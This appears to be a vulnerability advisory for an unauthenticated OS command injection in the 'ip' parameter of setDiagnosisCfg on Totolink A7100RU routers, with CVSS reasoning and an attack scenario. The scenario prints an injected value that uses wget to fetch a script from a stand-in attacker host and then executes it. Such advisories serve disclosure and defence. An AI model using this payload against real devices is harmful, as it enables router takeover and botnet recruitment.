A7100Ru CVE-2026-6116

Totolik A7100RU router firmware version 7.4cu.2313_b20191024. Remote unauthenticated attacker can exploit OS command injection via the 'ip' parameter in setDiagnosisCfg function at /cgi-bin/cstecgi.cgi. No authentication or user interaction required.

This vulnerability presents CRITICAL real-world risk based on converging threat signals. CVSS 9.8 reflects the worst-case scenario: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), with complete confidentiality, integrity, and availability impact (C:H/I:H/A:H). The CVSS Exploit Maturity code (E:P) confirms proof-of-concept code exists, corroborated by the publicly available GitHub exploit at Litengzheng/vuldb_new repository. While no CISA KEV listing or EPSS data was provided, the combination of unauthenticated remote access, trivial exploitation, and public POC makes this immediately exploitable. Consumer routers with command injection vulnerabilities are frequently targeted for botnet recruitment (Mirai-style campaigns). The lack of vendor patch availability (RL:X - workaround/unavailable) combined with confirmed exploit code creates an extended exposure window. SSVC prioritization would rate this as immediate action required: exploitation is feasible, highly automatable (simple HTTP requests), and technical impact is total system compromise. This is a genuine critical priority, not inflated CVSS scoring.

An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing their management interface on public IPs. Using the publicly available POC code from GitHub (Litengzheng/vuldb_new), the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'ip' parameter value such as '127.0.0.1; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m'. The setDiagnosisCfg function executes this as a shell command, downloading and running arbitrary payloads with router-level privileges, enabling persistent backdoor installation, DNS hijacking to redirect victims to phishing sites, or enrollment in DDoS botnets.